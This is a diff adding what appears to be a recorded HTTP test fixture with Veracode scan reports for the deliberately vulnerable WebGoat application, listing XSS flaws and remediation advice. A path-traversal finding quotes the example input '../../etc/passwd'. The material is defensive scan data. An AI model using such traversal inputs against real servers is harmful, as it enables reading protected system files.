+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:12:27 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200073'
+      Date:
+      - Tue, 27 Oct 2015 12:13:17 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:13:16 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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